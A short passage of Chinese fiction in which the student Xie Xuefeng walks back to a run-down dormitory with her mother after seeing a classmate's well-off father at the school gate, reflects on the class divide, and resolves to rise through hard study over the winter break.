“还行。”谢雪凤简短地回答，母女俩并肩朝着学校后勤区域那栋破旧的宿舍楼走去。她们的背影，与刚才秦语曦父女融入的车流，仿佛是两个永不交汇的世界。 走在回宿舍的路上，谢雪凤脑海里回放着刚才校门口的一幕。秦国栋那自然而然的关爱，那辆代表着另一个阶层的轿车，与母亲疲惫的面容、自己身上混合着廉价洗衣粉和旧棉花味道的羽绒服，形成了鲜明的对比。 一种复杂的情绪在她心中涌动——有对秦语曦的感激，有对自身境遇的酸楚，更有一种想要冲破这无形壁垒的、前所未有的强烈渴望。 她知道，通往那个看似光鲜世界的唯一路径，可能就是手中紧握的笔和那一个个被她反复演算的公式。 这个寒假，她知道自己该怎么做了。